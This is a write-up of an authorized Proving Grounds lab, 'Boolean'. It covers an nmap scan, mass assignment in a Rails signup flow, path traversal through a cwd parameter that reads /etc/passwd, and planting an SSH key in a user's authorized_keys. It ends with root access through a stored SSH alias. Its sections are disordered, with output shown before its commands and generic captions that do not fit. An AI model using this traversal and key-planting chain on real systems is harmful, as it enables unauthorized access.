Target: Linux

Proving Grounds: Boolean

This lab demonstrates exploiting a mass assignment vulnerability in a Rails-based application to confirm user accounts, enabling access to the file manager. Learners leverage path traversal through the cwd parameter to upload an SSH public key into the .ssh/authorized_keys file, enabling remote access as the remi user. Privilege escalation is performed by abusing a pre-configured SSH alias to log in as root. This lab highlights web application exploitation, file traversal, and SSH abuse for root access.

Proving GroundsAuthorized lab writeupCybersecurity portfolio

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

This lab focuses on various enumeration techniques to identify potential vulnerabilities in the target system, employing specific web enumeration methods to uncover sensitive information and misconfigurations. Additionally, it demonstrates privilege escalation methods to elevate access to restricted areas or functionalities of the system.

Scenario

This lab demonstrates exploiting a mass assignment vulnerability in a Rails-based application to confirm user accounts, enabling access to the file manager. Learners leverage path traversal through the cwd parameter to upload an SSH public key into the .ssh/authorized_keys file, enabling remote access as the remi user. Privilege escalation is performed by abusing a pre-configured SSH alias to log in as root. This lab highlights web application exploitation, file traversal, and SSH abuse for root access.

Learning objectives

After completion of this lab, learners will be able to:

Enumerate services to identify a Rails-based web application and paths using dirb.
Exploit a mass assignment vulnerability in the account confirmation process to bypass restrictions.
Leverage the file manager to upload an SSH public key to the .ssh/authorized_keys file.
Gain SSH access as the remi user using the uploaded private key.
Use a pre-configured SSH alias with IdentitiesOnly to log in as root and gain full system access.

Enumeration

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output records the result observed during this authorized lab step.

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
sys:x:3:3:sys:/dev:/usr/sbin/nologin 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/usr/sbin/nologin 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin 
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin 
systemd-network:x:102:103:systemd Network 
Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin 
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin 
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin 
remi:x:1000:1000::/home/remi:/bin/bash 
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Use the recovered credentials to establish a remote session.

└─$ ssh-keygen -f remi                          
Generating public/private ed25519 key pair.
Enter passphrase for "remi" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in remi
Your public key has been saved in remi.pub
The key fingerprint is:
SHA256:+m/IUZwpW96HZ5EZPChdSugVxSFY7YPDP3sfYwPJhwo kali@kali
The key\'s randomart image is:
+--[ED25519 256]--+
|           ==O+. |
|          +.+o*  |
|         o *.o = |
|        . B = O  |
|        SE . O + |
|       .o o + O  |
|      .. o . + B |
|       .o .   o =|
|        .o.    .o|
+----[SHA256]-----+

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

┌──(kali㉿kali)-[~/offsec/boolean]
# Inspect the directory for files relevant to the next step.

└─$ ls
48716.rb  remi  remi.pub

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

┌──(kali㉿kali)-[~/offsec/boolean]
# Execute the next evidence-gathering step in the authorized lab.

└─$ mv remi.pub authorized_keys

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output records the result observed during this authorized lab step.

Received disconnect from 127.0.0.1 port 22:2: Too many authentication failures
Disconnected from 127.0.0.1 port 22

Initial Access

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# The scan output identifies the target's exposed services and their versions.

PORT      STATE  SERVICE VERSION
22/tcp    open   ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 37:80:01:4a:43:86:30:c9:79:e7:fb:7f:3b:a4:1e:dd (RSA)
|   256 b6:18:a1:e1:98:fb:6c:c6:87:55:45:10:c6:d4:45:b9 (ECDSA)
|_  256 ab:8f:2d:e8:a2:04:e7:b7:65:d3:fe:5e:93:1e:03:67 (ED25519)
80/tcp    open   http
| http-title: Boolean
|_Requested resource was http://192.168.160.231/login
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: 
|     HTTP/1.1 400 Bad Request
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.0 403 Forbidden
|     Content-Type: text/html; charset=UTF-8
|_    Content-Length: 0
3000/tcp  closed ppp
33017/tcp open   http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Development

Port 80 has a boolean login page
searching default credentials online does not work
there is a option to register
Registered a fake user test123
when login using the user test123, it asks to verify using the email
Tried entering the real email but never got any emails
Opening the change email request in burp
site is using Ruby on rails, after searching online, came accross mass assignment vulnerability https://guides.rubyonrails.org/v2.3.11/security.html?source=post_page-----2609d211e473---------------------------------------#mass-assignment
We are not loggedin
there is an empty parameter ?cwd=
trying different paths
../../../../../../../../../../etc/passwd does not give us anything, but when we try ../../../../../../../../../../etc it shows us the directory

when we go to the passwd file under etc, it downloads the file

found the user remi
tried downloading the /.ssh/id_rsa keys but it did not work
created a new ssh key and uploaded to the /.ssh/ path under remi user

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# The output records the result observed during this authorized lab step.

## uploaded the authorized_keys to /home/remi/.ssh/

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

(kali㉿kali)-[~/offsec/boolean]
# Use the recovered credentials to establish a remote session.

└─$ ssh -i remi remi@192.168.160.231
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
client_input_hostkeys: hostkeys_foreach failed for /home/kali/.ssh/known_hosts2: Permission denied
Linux boolean 4.19.0-21-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
# Execute the next evidence-gathering step in the authorized lab.

remi@boolean:~$ id
uid=1000(remi) gid=1000(remi) groups=1000(remi)

Checking if the user has any aliases created

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# The output records the result observed during this authorized lab step.

alias ls='ls --color=auto'
alias root='ssh -l root -i ~/.ssh/keys/root 127.0.0.1'

user has created alias=root to connect to ssh using root
simply running root in terminal
Searching online, This could happen if you have (default on my system) five or more DSA/RSA identity files stored in your .ssh directory. In this case if the -i option isn't specified at the command line the ssh client will first attempt to login using each identity (private key) and next prompt for password authentication. However, sshd drops the connection after five bad login attempts (again default may vary).
To fix this, we can add -o IdentitiesOnly=yes to the command

Privilege Escalation

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

┌──(kali㉿kali)-[~/offsec/boolean]
# Execute the next evidence-gathering step in the authorized lab.

└─$ chmod +400 remi

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# The output confirms the effective user and privilege level of the current session.

Linux boolean 4.19.0-21-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jun 13 20:14:03 2026 from 127.0.0.1
root@boolean:~# id
uid=0(root) gid=0(root) groups=0(root)
root@boolean:~#

Takeaways

This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.